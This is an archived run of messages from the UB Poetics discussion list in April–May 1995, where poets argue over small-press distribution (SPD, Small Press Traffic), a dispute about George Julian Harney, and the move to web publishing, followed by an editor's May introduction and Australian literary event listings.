I do think a store like Traffic is do-able, but it has to be done absolutely perfectly -- which is pretty much what Woodland Pattern seems to be -- or else it will get sucked in by its own good intentions. Carrying books on consignment for 15 years that never sell is no more a form of distribution than is doing a terrific four-color perfect bound book that the publisher keeps in the garage or basement and never advertises.

The idea of SPD as "big, exclusive" or whatever seems to me preposterous. They aren't perfect but they continue to do the job, carry lots of non-perfect bound material, and have managed to accomplish the most important task of all -- to stay in business without having to depend entirely on a charismatic leader selflessly supporting the store itself out of some other source of $$.

Imagine what poetry would be like without SPD?

Ron

↑ Index

555. **cris cheek**
Re: George Julian Harney
Fri 28 Apr 1995

> *Noted that Cris mentioned Harney and poetry as though they were enemies. George Julian Harney, should you not know, has the distinction of being the first working class communist as well as the publisher of the first English translation of The Communist Manifesto. Harney was in fact a reader of poetry. Byron seems to have been his favorite, but his personal library contained volumes of poetry by others as well.*
>
> *Let the record note,*
> *Jonathan Brannen*

Hi Jonathan, if you'd read my original post carefully (in its full list context at that time) you'd have read that it was in fact focussed onto Helen MacFarlane, being the first translator of the Community Manifesto published in Britain by Harney (which was mentioned - what's your point?) in his (and I dated the issue in which he did so as well) The Red Republican, and onto her translation.

My point, although I did list and credit Harney fully, was about her translation having added a somehwhat idiosyncratic 'image' (of the 'hobgoblin' stalking europe) into the firt line of The Community Manifesto and of how this (and I know I was being ironic) had set up a mutual suspicion between Marxist Revolutionaires and poetry lasting until this day.

Nothing in that post suggested animosity between Harney and poetry. I'd have been irresponsible indeed if I had. But you arguably responded 'irresponsibly' - to get back to an earlier strain.

There - that's my bristling tetchiness for this week gone. And since bones are being picked among bristles your phrase 'the distinction of being the first working class communist' is useless in any respect other than provoking questions of how do you know? card carrying membership number 1? there were other communists before him but they weren't really working class (such as O'Brien)? well maybe they weren't exactly communists? or did I miss a definition there? and so on. Cause he's also been called 'a Jacobin in an English setting'. Marx and Engels quarrelled with him and were suspicious of the catch-all attitude towards 'revolutionaries' generally embraced in his internationalist editorship of The Red Ruplican.

Come on. Let the record what?

And this is really tedious list-clogging stuff.

cris

↑ Index

556. **Edward Foster**

Re: seeking M/MLA respondent: poetry (fwd)

Fri 28 Apr 1995

---

terrific, gary; glad you found the ziegler piece: it says all. forget the safari to elephantland; all able-bodied poets join the midwest mla now!

↑ Index

557. **Edward Foster**

Re: elephant safari

Fri 28 Apr 1995

---

hey, jonathan, whadda ya want? we got gazelles, zebras, a cuppla water buffalos, but the elephants, man, they're the prize.

↑ Index

558. **Edward Foster**
Re: Standing
Fri 28 Apr 1995

new great mag: radical poetics (ed. michael hrebeniak, others), "new internsational journal of creative action" in "spirit of eric mottram." poetry, prose, music, essays, visuals. #1, this summer. 58 crowshott ave., stanmore, midd;esex, HA7 1HT Eng.

↑ Index

559. **Don Cheney**
Real men read hardware poetry
Fri 28 Apr 1995

I work in a warehouse in San Diego and I hear a lot of daytime radio. The latest commercial theme for some hardware store chain (I forget who it is) is poetry. The first commercial I heard with this theme had a man reading a poem about wood. He seems really uncomfortable reading the poem, like he can't believe what he's doing. As I remember, you can even hear him turning a page after reading one line. Maybe he's supposed to be nervous. My own sense of the guy's nervousness is that reading a poem is not something that men who work with wood do, or admit to. But the man's voice also has that kinda-mumbling monotone that has become a fixture of many radio commercials (much like the wandering, jerky camera shot was once so entrenched in television commercials), so maybe his delivery is supposed to be "cute."

The second commercial at least has a pun. The voice over says that this man is going to read his "concrete poem." And, of course, the guy starts reading (again with a sense of self- consciousness) a poem "about" concrete.

Makes me want to yell out, "Pinch me, Alfredo and pass the hot sauce!"

Don Cheney
[redacted]

↑ Index

560. **David Ball**
Re: Malls, Mail and Romance
Fri 28 Apr 1995

Well, *I* remember DOONES, the journal, because they published some of my poems. Otherwise I might not. Didn't know they did a lot of Tom Raworth, but glad to hear it. Will definitely check out Small Press Traffic in SF; wasn't clear whether it was a bookstore or...? and where...?

Thanks,
David Ball

↑ Index

561. **David Ball**
Re: Small Press Traffic
Fri 28 Apr 1995

...or as Pound put it in Hugh Selwyn Mauberley,
"and give up poetry, my boy
There's nothing in it."

--but he was ironic

David Ball

↑ Index

562. **Bill Luoma**
Re: first intensity
Fri 28 Apr 1995

I think grenier's:

Three

legged

Dog

is better.

↑ Index

563. **Jonathan Brannen**
Romancing the Mall
Fri 28 Apr 1995

Ron,

Thanks for reminding us that selfless acts never go unpunished.

I don't think anyone would suggest that Small Press Traffic is/was a model business venture. Nor do I believe that this is/was its driving motivation. I also hesitate to assign a shelflife to any book. I've found marvelous books in various places that have been eating "capital in the form of shelf space" for more than fifteen years and have been delighted that someone had the foresight or, as you suggest, was negligent enough to keep them available.

I agree that SPD performs a valuable service. The only "bookstore" where I live is a greeting card shop run by apostolic christians who promote family values. So SPD is something of a life-line. But if you believe that SPD still carries "lots of non-perfect bound material" you're living in a time-warp. I can't fault their business acumen. They've defined their market niche and seem to be effectively pursuing it. SPD is settling gracefully into middle-age. Along with increased knowledge and comfort with the status quo, has come the fear of risk-taking. SPD can't meet everyone's needs. They continue to do part of the job and this in itself is admirable.

"Imagine what poetry would be like without SPD?" Probably not much different than it is. It strikes me as preposterous to suggest otherwise. Would you start writing differently if SPD ceased to exist? Poetry finds a way to survive and to evolve (more often than not, outside of official channels).

Best of all possible worlds,
Jonathan

↑ Index

564. Jonathan Brannen
Re: elephant safari
Fri 28 Apr 1995

Ok, Ed, keep tickling those ivories.

best, Jonathan

↑ Index

565. Carla Billitteri
Re: Real men read hardware poetry
Fri 28 Apr 1995

---

don -your story abt. the radio commercials is terrific- but please write them down & pass them around-commercials are definitively my kind of (+/-) "concrete" poetry -thanks- carla

P.S. not that i particularly want to open another discussion on the "poetics of the everyday"-the stuff on hallmark was enough-and yes- i am fully aware of the politics of the "goods" implied in my query hope it doesn't hurt the feelings of some folks out there- -cheers-

↑ Index

566. **Aldon L. Nielsen**
Re: Reading Calls for Respondents
Fri 28 Apr 1995

Gary -- You need to take a closer look at that M/MWMLA circular you circulated to us -- They are not asking for papers applying Witt. etc. to the poets etc. -- Those papers are already on the panel, and the chair is looking for someone to respond to them! In which case the Olson letter might make a good start indeed! Wild thing about that conference is that they circulate papers in advance, and the audience is supposed to read in advance and come prepared to argue (my experience has been that this system does not hold up in practice)

But what do those numbers after the degree abbrevs. in the line on status portend? Am I a 2 or a # or do I add up to a five???? what is 1 to do?

↑ Index

567. **Gary Sullivan**
Re: Small Press Traffic
Fri 28 Apr 1995

On Fri, 28 Apr 1995, David Ball wrote:

> *...or as Pound put it in Hugh Selwyn Mauberley,*
> *"and give up poetry, my boy*
> *There's nothing in it."*
>
> *--but he was ironic*
>
> *David Ball*

& so are we.

↑ Index

568. **Mn Center For Book Arts**
Re: poetry and the electronic
Fri 28 Apr 1995

I still don't know how to set up a home page, but I'm game. As someone who publishes some editions with artists/papermakers limited to as few as 50, but also publishes some editions of 1000 which are, as of yet, never perfectbound (a lone holdout for smyth-sewing), I'd be willing to trade some titles but not the most limited ones.

charles alexander
chax press

↑ Index

569. Gary Sullivan
Re: Reading Calls for Respondents
Sat 29 Apr 1995

Dear Aldon:

Thanks for correcting me on that. When they said they were looking for "respondents" to two papers, I really thought they were looking for people to respond by *writing* these papers, which had been sort of boiler-plated as to subject & approach, & as such sort of already existed. It totally did not surprise me that an academic institution would ask for such a thing. (It still wouldn't.) That was, in fact, how we we asked to write a number of our papers when we were in school. (One teacher, if you didn't write about, say, Hemingway, using this sort of vaguely "Jungian" approach he'd developed (& used in class), he'd dock you points. That was, as far as he was concerned, how you read a thing, and if you weren't reading it on/in his terms, you simply weren't "getting it." (It involved finding "the line" and "the circle"; whether someone was drinking alcohol "the spirit, masculine" or water "nature, the feminine.") For a year after that class, that's how I assumed everyone wrote, what they thought about. (I'm admittedly impressionable.)

Now, those numbers after MA and PhD, God knows what they stand for. A color TV for the first person who posts the answer!

Yours,

Gary

↑ Index

570. Gary Sullivan
Mails, Malls and Romance
Sat 29 Apr 1995

Dear Ron:

> *The idea of SPD as "big, exclusive" or whatever seems to me preposterous.*

Shakespeare: "Nothing can seem foul to those that win."

As a publisher whose various projects have been carried by SPD since 1990, and as a poet who does not have a chapbook out or forthcoming, I hope you won't find my opinion of SPD the product of imagined exclusion. I agree with Jonathan: SPD simply doesn't carry very many NEW chapbooks, & new chapbooks by emerging writers in particular. The reason they don't carry them is their exclusionary policy: A press must be publishing at least 2 books a year, and the books must be "sellable" to bookstores. Again, if you know someone

there, and they like you, they *may* take your stapled books on. Or, if you're publishing writers who people already know about.

Yes, SPD is valuable, a very valuable resource. But they aren't what they were in '80s. They're pretty much as Jonathan's described them.

Now, as to:

> *Imagine what poetry would be like without SPD?*

I don't have to; I know where to get Standing Stones, Texture, _Compound Eye_, & dozens of others I don't have time right now to list. (My server just notified me they're going to reboot. Thanks, Ron, for warning us about that, btw.)

Yours,

Gary

↑ Index

571. Spencer Selby
Re: Mails, Malls and Romance
Sat 29 Apr 1995

Jonathan makes good points about Small Press Traffic and SPD. And Ron is right when he implies that there were problems with the way Small Press Traffic was run. Best thing about the store, in my opinion, was the reading series Kevin Killian put on. And this is the greatest loss. (Kevin, you must start another series soon. The scene misses your events and needs them badly.)

It is certainly true that SPD has moved away from carrying material that is not perfect bound. The most active chapbook presses of the past five or so years, such as Leave, Texture, Runaway Spoon and Standing Stones, are not carried by SPD. (I believe they have taken a title or two from Leave, but not most of their list, which includes around 60 chaps.) This is significant because it is these presses that are publishing most of the emerging writers. It is to these presses and others like them that emerging writers must increasingly turn if they are to begin publishing books.

One of the reasons why Taproot Reviews is such a valuable publication is that it carries so many listings of magazines and chapbook presses that are, for the most part, not distributed by SPD.

It would be terrible if SPD folded; I think everyone will agree on that. But that does not mean we should ignore or deny the downside of changes SPD has made over the last 5-10 years. This downside becomes more and more significant as a new generation of poets struggles to find publishers and an audience.

↑ Index

572. **Ron Silliman**
Re: Romancing the Mall
Sat 29 Apr 1995

Jonathon Bramen wrote

" But if you believe that SPD
>still carries "lots of non-perfect bound material" you're
>living in a time-warp."

No, but for the past 6 years I've been living one block east of SPD and have bought saddle-stitch books there as recently as this week. (Julia Blumenreich's Meeting Tessie, to be exact, which has a prominent place at the front table, right near Rae Armantrout's perfect bound Made to Seem and the new Palmer New Directions & Duncan's Selected Prose). SPD has sold all of Zasterle Press' books and a number of others as well.

But I must admit that SPD's focus is not the micropublisher so much as the small press. Non perfect bound books have a different form and function -- they're the perfect mail object and when I get a big package from Leave Press (as I did this week) it makes me ecstatic -- the Giscombe there caused me to walk to SPD and buy his Dalkey Archive book _Here_.

Having said all this, I must admit that I'm moving 3,000 miles from SPD in the next 45 minutes.... It will be the Bay Area institution that I miss the most.

Ron

↑ Index

573. **Ron Silliman**
Re: poetry and the electronic
Sat 29 Apr 1995

Percentage increase in number of hosts in Europe during March, 1995: 11

Number of people requesting information from Fidelity Investments over
the Internet in March and April: approx. 250,000
Average number of requests, per person: 4
Percentage of overall fund inquiries that came in via the Internet: 5.5

Time, in minutes, to download America On-Line's web browser (at 14.4 Kbits/sec): 25

Average number, per hour, of new subscribers to Netcom over the past year: 11

Number of books about love and sex on the Internet: 5

Suggested donation, in dollars, for subscribers to the inet-marketing mailing list: 25

Percentage increase in number of hits on FEMA web server in the week following the Oklahoma City bombing: 150

Number of web pages indexed by the Lycos Internet catalog: 3.6 million

Number of WWW servers known to Lycos: 23,550

Number of subscribers to NiftyServe: 1 million
Number of subscribers to CompuServe in Europe: 300,000

Percentage of NSFnet traffic from WWW during March, 1995: 19

Number of users on the Internet: No one really knows

Number of Internet Draft documents issued in March, 1995: 142

Number of new domain requests, per working hour, handled by InterNIC Registration Services in March, 1995: 37

Number of Massachusetts localities with domains registered in March, 1995: 92

Number of Norwegian television shows with a WWW home page: 4

Rank, by traffic volume, of rec.games.trading-cards.marketplace: 12

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Past issues and citations to sources can be found at http://www.openmarket.com/info/internet-index/. To subscribe to future issues of the Internet Index, send a message saying "subscribe internet-index" in the body to [redacted].

↑ Index

574. Mn Center For Book Arts

Re: Romancing the Mall/Mail

Sat 29 Apr 1995

Just to echo Ron's excitement at receiving the Leave pamphlets in the mail. I received these last week as well, and they are marvelous. Thanks, Juliana. As to the micropress, stitched pamphlets in SPD or other bookstores, I wish there were more everywhere, but I even think that, in the context of most bookstores they are rather lost, whereas they are so convenient and not terribly expensive, to mail. Getting them in the mail is a wonder rarely found in a bookstore.

Perhaps, then, there is simply a need for more access to finding out about such works so that more people can order them or trade for them. I think this list and other electronic forums are already helping in that regard.

charles alexander

↑ Index

575. **Bill Luoma**
Re: Real men read hardware poetry
Sat 29 Apr 1995

Don,

Announce to the new drake that you skillfully shear allocation buffers. (Tell us more cultural analysis stories.)

Bill

↑ Index

576. **Gabrielle Welford**
Re: Small Press Traffic
Sat 29 Apr 1995

Ah, this is terrible. I knew they were struggling but didn't know they had closed. Does anyone know what happened?

Gabrielle
[redacted]

↑ Index

577. **cris cheek**
Re: Distribution Evolution
Sat 29 Apr 1995

---

1. Loss says online swap shop listings should fit into both press listings and be separate. I'd also agree with that.

2. It does seem as if work needs to happen from the press side on constructing of home pages. Now I'm very willing to be put in the work on doing that, but feel nervous on the techno side. Loss, I take it you need this info in HTML - am I right? That's where my own, and I think I might not be alone on this, technophobias emerge as my knowledge of HTML is pretty much limited - as yet. But I did find what Bob Drake posted in that respect very useful. And the www site for 'A Beginner's Guide to HTML' is worth a quick visit for downloading what is a very useful (though still to me daunting) introduction to the 'language'.

In one way Loss what would be a useful exercise for me would be to put in the s-nail to yourselves the kind of info I'd like a home page I might design to accomodate and then get e-back about viability. (I'm not suggesting for a minute that you do any of the work - you're all and both and all doing a great job already !).

I'd just like for you to see the stuff more tangible so that when we talk marmot there's some 'concrete' ground.

3. Bob - thanks for your response. What remains useful is the positive energy and intent to gererate new possibilities which this discussion is apart of.

4. Herb - doesn't my taking (for the sake of argument) books I have swapped with X Press along to a reading series in Norwich or London or Cambridge already suggest a way in which what was not previously put before 'a public' can become so? It's only a litle one but it gets close to the source and turns up the heat a touch.

cris

↑ Index

578. **George Bowering**
Re: Malls, Mail and Romance
Sun 30 Apr 1995

In a recent letter Jonathan Brannen said "Forty percent of all books sold in the US are NOT romance novels." This means that 60% ARE romance novels. I find that hard to believe. I thought that at least 25% were gun manuals.

↑ Index

579. **George Bowering**
Re: cordelia
Sun 30 Apr 1995

Well, maybe Shakespeare was a populist in those days, but he's hightone now. I would be amazed were I to find (a) that the average freshperson could understand the lingo, and (b) someone on the average B747 were reading Shakespeare, much less the average AM/TRAK.

↑ Index

580. **Jonathan Brannen**
Re: Malls, Mail and Romance
Sun 30 Apr 1995

George,
The NRA is literate?

Best,
Jonathan

↑ Index

581. **Jonathan Brannen**
Bristling tetchiness
Sun 30 Apr 1995

Hi Cris,

Relax Cris, your use of irony was so subtle that it was lost on no one. And yes, you mentioned the date that the Communist Manifesto was published in the Red Republican. You were even gracious enough to include its retail price of one penny.

My point was that Harney, a revolutionary in his day, was an enthusiastic fan of poetry. Either this extends the irony, since Harney was responsible for the publication of "A frightful hobgoblin stalks through Europe", or it points out the questionable nature of generalities such as: "Resultant mutual suspicions between revolution and poetry have been a struggle ever since." Mutual suspicions, as used in your post, does suggest a degree of animosity. But if it makes you feel better, sign me up for the next Glee Club sing of "Call Me Irresponsible."

I had intended to type that Harney "has the distinction of being one of the first working class communists...." I assume full responsibility for my shoddy proof-reading. Glad it provided you with the opportunity to vent the last of last week's spleen.

But Harney was indeed one of the first working class communists. Is this useless information, as you claim? If you already know who Harney was, I suppose it may seem so. But George Julian Harney is hardly a household word. I felt it was a unfair to mention him as though he warranted only a footnote to Helen MacFarlane's translation of the Communist Manifesto which you held up for derision. There are those

who believe Harney played a note-worthy role in disseminating Marxist philosophy to the working class at a pivotal point.

Did you miss a definition of communism? Since it was Harney's publication of the Communist Manifesto you were discussing and all remarks about Harney were made in that context, I'd say you didn't miss it, you were willfully ignoring it. As for card carrying, I believe Harney's game was chess.

On Friday, April 28 Cris Cheek wrote:

Hi Jonathan, if you'd read my original post carefully (in its full list context at that time) you'd have read that it was in fact focussed onto Helen MacFarlane, being the first translator of the Community Manifesto published in Britain by Harney (which was mentioned - what's your point?) in his (and I dated the issue in which he did so as well) The Red Republican, and onto her translation.

My point, although I did list and credit Harney fully, was about her translation having added a somehwhat idiosyncratic 'image' (of the 'hobgoblin' stalking europe) into the firt line of The Community Manifesto and of how this (and I know I was being ironic) had set up a mutual suspicion between Marxist Revolutionaires and poetry lasting until this day.

Nothing in that post suggested animosity between Harney and poetry. I'd have been irresponsible indeed if I had. But you arguably responded 'irresponsibly' - to get back to an earlier strain.

There - that's my bristling tetchiness for this week gone. And since bones are being picked among bristles your phrase 'the distinction of being the first working class communist' is useless in any respect other than provoking questions of how do you know? card carrying membership number 1? there were other communists before him but they weren't really working class (such as O'Brien)? well maybe they weren't exactly communists? or did I miss a definition there? and so on. Cause he's also been called 'a Jacobin in an English setting'. Marx and Engels quarrelled with him and were suspicious of the catch-all attitude towards 'revolutionaries' generally embraced in his internationalist editorship of The Red Ruplican.

Come on. Let the record what?

And this is really tedious list-clogging stuff.

cris

↑ Index

582. Jonathan Brannen
Re: Bristling tetchiness
Sun 30 Apr 1995

Cris,

Sorry to further clog your list, but I forgot to
sign off on the last Harney note.

Let the record note that the note beginning "Relax
Cris" was from,
Jonathan Brannen

stay frosty, jb

↑ Index

583. Tony Green
Not a definition -- 5
Sun 30 Apr 1995

April 1978, Barrett Watten in L= mag.:

"IF at some point language walked in the open door, we would show it some respect. Our response would be more immediate than to use it as a sign. A sign of respectability, or connections to the art world. So we respect language by not being content to operate in any one part of it. it's greater than we are. This has implications for the form. That sense is larger than one can say."

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 727

↑ Index

584. FUNKHOUSER CHRISTOPH
intro oral & visual cultures to poetics @once!
Sun 30 Apr 1995

Stirred by this week's babble about SPD:

To be clear from the beginning, my views are in no way aimed at the replacement of print culture, books, broadsides, xeroxed zines & staple-job

chapbooks/literature by digitized versions, or TV, or something. No need to resist what I have to say with that charge or fear. There are teen & adult spirits & beauty (synthesis, etc.) about print which I hope never meet extinction. Especially appreciated are poetry & other books which have visual elements and qualities to them (from Illuminated manuscripts through Blake (much more like "poetry" than the Declaration of Independence), DADA & up through Katie Yates & Brathwaite & so on). There are certainly titles published by Chax, Leave, Roof & other presses mentioned around here which are of unquestionable value to the pro/motion of poetry & the poetic(s) arts into the next century. Long may those presses run (to strike a paraphrase). So, if you can bear with it: what I have to say is non-oppositional, though querulous. Once again I want find it necessary to promote alternative publishing platforms (though I noticed my brief comments on the subject were omitted from the transcript of the New Coast session on small press publishing which was published in CHAIN vol. 1). I experience a mild dismay realizing that the primary focus of poets, as far as producing their work goes, remains tuned to print technology. Since it is what we are accustomed to, what we have easily at our disposal in our age of commercial & pirate xerox reproduction? But can we hang a moment to problematize "print"? Any way you want? I was talking with a close friend last night, 30 April 1995, a very intelligent woman who said, "it's a failure of the imagination to think that poetry has to be limited to black words on a white page." That sounds harsh, "yeah," but the idea that most printed poetry, as much as it might contain beauty and meaning via language, is far from always best enacted through book technology. I have actively been involved as a small press publisher (& "writer") since 1986, putting out approximately 27 print volumes (+ broadsides), a half dozen or more cassettes, one compact disc, a video, and 1+ magazines/newsletters on the internet as co-editor with We Press. It's especially ridiculous to me that SPD will not carry items in unprinted media because their "purchase points" and warehousers can't find a way to handle them conveniently. So, we're out on that level. (Which is fine, actually, considering that when I hear Ron Silliman say "Imagine poetry today without SPD..." I think, gee, look at / who's looking at American Poetry today with SPD!). Audio recordings we have already published by Jack Foley & Adele Foley, Joanne Kyger, Tory Miller, Jean Gier & Sybl Glebow, Eric Curkendall, Andy Clausen, H.D. Moe, Richard Kostelanetz, Richie West, Allen Ginsberg, Jennifer Joseph, Marc Olmsted, Teresa Clark & Carletta Wilson, Dashka Slater, Jennifer Stone, Francisco X. Alarcon, Morton Marcus, Richard Loranger, Angela Coon, Elisabeth Belile, Victoria Stone, Michael Weaver, Anne Waldman, Nathaniel Mackey, William Everson, Trudy Morse, Cecil Taylor, Wanda Phipps, Lee Ann Brown, Steven Taylor, Victor Hernandez Cruz, Steve Benson, Roddy Potter, Katie Yates, Stephen Cope, Will Alexander and

others are circulated through "grass-roots" methods & the occasional indie-music distributor, though the people who buy & support "independent" music distributors generally want more than a voice in their ears. To a certain degree, I'm wondering what Dr. Perelman says in his upcoming book about the marginalization of poetry. Whether we need to be marginalized, want to be marginalized, or are necessarily marginalized, it seems like sticking close to printed text ensures just that in our audio/visually based culture.

chris funkhouser, albany

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

May 1995

634 messages · Mon 1 May 1995 – Wed 31 May 1995

The bells of a hundred European cities ring on the eighth for the fiftieth anniversary of a war's ending; on the seventeenth Jacques Chirac takes the keys to the Élysée; and in Oklahoma the rubble is still being sifted for the last of the dead. The list, as ever, keeps its own weather. Buffalo in May 1995 attends not to the century's anniversaries but to a single stubborn word — the Real — and, alongside it, to the older and funnier question of what a poem is even made of.

The month's largest room is opened by John Byrum, who wants to know *“How much Real is transformed via poetry?”* — a question he confesses he first glimpsed at the bottom of a ten-foot sewer trench. Ryan Knighton answers by way of Spicer's After Lorca: poetry does not transform the real so much as correspond with it, carrying it across, one lemon made to answer another. Gary Sullivan declines to argue at all and simply mails in a poem, a refusal of the real dressed as an epistle.

The metaphysics is punctured, reliably, by mischief. Ron Silliman posts to Edward Foster a message whose entire body reports *“That Was Four Lines,”* and George Bowering, refusing to be out-quibbled, wonders aloud whether four lines might not constitute a quatrain. The comedy has a serious neighbour in the aleatory thread, where H. T. Kirby-Smith remains magnificently unpersuaded that chance is a method, conceding only that *“Banging on pot lids is fun to listen to”* for a few minutes before one longs to shout Encore and go home.

Yet the chance operations find their defenders — John Cayley describing pieces that learn phrases from their own readers, the discussion circling Cage, rhyme, and the humble random-number generator as three names for the same nerve. Beneath all of it runs the month's most searching question, which Jordan Davis poses without fuss: *“What do we mean when we call someone's work sentimental?”* Jim Rosenberg answers with a definition drawn frankly from his fear about his own writing — the dread that a poem is too much the emotional substance of a single, unreliable self.

It is fitting, then, that the argument should end not in a verdict but in a poem. Sullivan's refusal closes on the things that *“will never take place,”* and for once the list has quarrelled its way clean past quarrel into song. I have set the letters in their true order, hidden the addresses and telephones behind their black bars, and left the poem standing exactly where I found it, its trench and its stars intact.

— Kristen M. Fabians

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1. Wystan Curnow
Re: cordelia
Mon 1 May 1995

I'm with you Chris. I used to have this beef at dept meetings: why is it Shakespeare gets equal time with the rest of literature. That was the curriculum, THE CANON for a time. Not so much any more. I complained but the students...no. And now we have SHAKESPEARE ON FILM and do they beat the doors down to get into that. Wystan.

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2. Chris Stroffolino
Re: cordelia
Mon 1 May 1995

Well this maybe doesn't mean anything in terms of generalities and/or may say more about me than about the ostensible subject matter but i've taught both contemporary poetry and Shakespeare and the 'average person' seems to get Shakespeare more than the poetry i teach, now maybe if I taught say Gerald Stern (gag) rather than say Carla Harryman or Jack Spicer they'd get contemporary poetry more. Furthermore, they don't necessarily GET the lingo of Shakespeare but "get" the story and so they walk around with this illusion of understanding it which contemporary poetry doesn't give them---which may actually be WORSE!

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3. Mark Roberts
(no subject)
Mon 1 May 1995

MAY HAPPENINGS

Australian Writing OnLine

AWOL Happenings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL on email [redacted] or write to AWOL, PO Box 333, Concord NSW 2137, Australia. AWOL postings are also available by snail mail - please contact us for details.

Unfortunately the May Happenings list contains mostly information relating to NSW events. We hope to expand the list to be fully national by the next posting in June.

****

NSW

SYDNEY

******** BOOK LAUNCHES ********

Marcelle Freiman's first collection of poetry. titled "Monkey's Wedding" (Island Press, Sydney) will be launched by Heather Cam. Upstairs at Gleebooks on May 16th, 6.30 for 7pm. (address Phone number)

Island Press is a small co-operative press which has been publishing poetry since 1975. The motivating force behind it is Phillip Hammial, whose book "Just Desserts" (Island) is to be launched on June 3 at the Courthouse Hotel, Newtown. The third member of the Island triad for 1995 is Carolyn Gerrish, whose collection "Learning to Breathe Under Water" (Island) will be published later in the year.

****

********** READINGS **********

SYDNEY

4th Monday of each month.....FUTURE POETS SOCIETY 8pm Lapidary Club Room, Gymea Bay Road, Gymea. Details phone Anni Featherstone (02) [redacted].

Every Tuesday .....POETRY SUPREME 9pm Eli's Restaurant, 132 Oxford Street, Darlinghurst. Details phone/fax (02) [redacted]

1st and 3rd Wednesday .....POETS UNION, 7pm The Gallery Cafe, 43 Booth Street, Annandale Details phone (02) [redacted]

2nd Wednesday.....WOMEN WRITERS' NETWORK 7.30pm, NSW Writers' Centre details Ann Davis (02) [redacted]

4th Wednesday.....LIVE POETS AT DON BANKS MUSEUM, 7.30pm 6 Napier Street North Sydney. Guest Reader plus open section. $6 includes wine. Details phone Sue Hicks or Danny Gardiner (02) [redacted]

Every Thursday.....POETRY ALIVE 11am-1pm, Old Courthouse Bigge Street Liverpool. Details phone (02) [redacted].

1st Friday.....EASTERN SUBURBS POETRY GROUP 7.30pm Everleigh Street Waverly. Details phone (02) [redacted].

2nd & 4th Saturday.....GLEEBOOKS READINGS 2pm Gleebooks 49 Glebe Point Road Glebe. Details Nick Sykes (02) [redacted]

3rd Sunday.....POETRY WITH GLEE: THE POETS UNION AT GLEEBOOKS. 2-4pm, 49 Glebe Point Road Glebe. $5/$2 Details Nick Sykes (02) [redacted]

Every Sunday.....THE WORD ON SUNDAY11.30pm Museum of Contemporary Art Circular Quay $8/ $5. Details phone (02) [redacted].

REGIONAL

ARMIDALE 1st Wednesday 7.30pm Rumours cafe in the Mall. Details phone James Vicars (067) 73 2103

WOLLONGONG 2nd & 4th Tuesday 7.30pm Here's Cheers Restaurant, 5 Victoria Street, Wollongong. Details phone Ian Ryan (042) 84 0645

WAGGA WAGGA Tuesday May 9 8 pm at Firenze Italian Restaurant, 67 Johnston St, Wagga Wagga, (ph 069 214211) READINGS by John Foulcher (poet, Canberra), Susan Varga (biographer, NSW), Peter Bakowski (poet, Melbourne) plus 'Open Mike'

ALSO AT WAGGA WAGGA Wednesday 10 May 7.30 pm at Booranga, the Riverina Writers' Centre at Charles Sturt University, EDITING WORKSHOP conducted by John Foulcher

Weekend Workshop 13/14 Mayon Screenwriting conducted in association with Australian Writers' Guild at Booranga, the Riverina Writers' Centre at Charles Sturt University. Tutors include Steve J. Spears, Charlie Strachan and Ian David

For details about Wagga Wagga events contact David Gilbey ph. 069 332465, fax 069 332792 email [redacted]

LISMORE Stand Up Poets 3rd Tuesday 8pm. Lismore Club, Club Lane. Details phone David Hallett (066) 891318.

NEWCASTLE 1st Sunday Illuminating Tales at the Commonwealth Hotel Union/ Bull Streets Newcastle. Details phone Bill Iden (049) 675 972

3rd Monday Poetry at the Pub. Newcastle Bowling Club, Watt Street. May 15 special guests North Sydney Live Poets. Details phone Bill Iden (049) 675 972

****

** CONFERENCES **

GRIFFITH UNIVERSITY/JAMES COOK UNIVERSITY

QUEENSLAND STUDIES CENTRE ANNUAL CONFERENCE - 8-9 JULY

WAR'S END?

August 1945 marked the end of the most harrowing and transforming collective experience in the history of modern Australia. How much of the 'old' Australia came to an end with the cessation of hostilities, and how much continued as before? What different meanings did the War's end have for different groups and institutions in Australian society?

The Queensland Studies Centre will be holding its annual two-day conference, in association with the History Department of James Cook University, in Townsville, on 8-9 July of this year.

The conference will be interdisciplinary in scope, embracing military, social and cultural history; politics and political economy; literary and cultural studies. Papers exploring any of the following aspects of the topic would be welcome:

* literature and the arts
* education and social policy
* Aboriginal and ethnic communities
* women's history
* military and social history
* politics and industrial relations
* journalism and the media

Venue: Townsville, Queensland.

Date: 8-9 July, 1995.

Enquiries to

The Queensland Studies Centre (Director, Patrick Buckridge)
Faculty of Humanities
Griffith University
Nathan QLD 4111.
Ph.: (07) 85 5494 Fax: (07) [redacted]
E-mail: [redacted]

****

Association for the Study of Australian Literature

ASAL
2-7 July 1995
Adelaide

The 1995 ASAL conference will be held at the historic Institute Building on North Terrace in the heart of Adelaide.

Keynote Speaker:
Paul Carter, author of The Road to Botany Bay and Living in a New Country.

Dorothy Green Memorial Lecture:
Drusilla Modjeska, author of Exiles at Home and Poppy.

Enquiries: Phil Butterss, Department of English, University of Adelaide, Adelaide 5005.
Ph: (08) [redacted]. Fax: (08) [redacted].
Email: [redacted]

(The 1995 ASAL program is available on AWOL's WWW link. Address http://www.anatomy.su.oz.au/danny/books/index.html then click on Australian Writing OnLine)

****

EUROPEAN ASSOCIATION FOR STUDIES ON AUSTRALIA

Third conference: Copenhagen, October 6-9, 1995

Conference theme: Inhabiting Australia: The Australian Habitat and Australian Settlement.

The conference aims to bring together contributions from a wide range of disciplines, from architecture to zoology. Papers which take up the theme from cultural, historical, social, scientific, literary and other perspectives are invited.

Registration forms will be distributed by the beginning of January, 1995. Deadline for registration, May 1, 1995.

Further information available from Conference organisers:

* Bruce Clunies Ross (45) 35 32 85 82 internet: [redacted] * Martin Leer (45) 35 32 85 87 internet: [redacted] * Merete Borch (45) 35 32 85 84 internet: [redacted]

Copenhagen University, Department of English
Njalsgade 80, DK-2300 Kobenhavn S

Tlf. (45) 35 32 86 00
Fax (45) 35 32 86 15

* Eva Rask Knudsen
Wiedeweldtsgade 50, st.
2100 Copenhagen O.
(45) 35266025

↑ Index

4. Chris Stroffolino

gimmicks/"poetry" that's got nothin' on zimmerman

Mon 1 May 1995

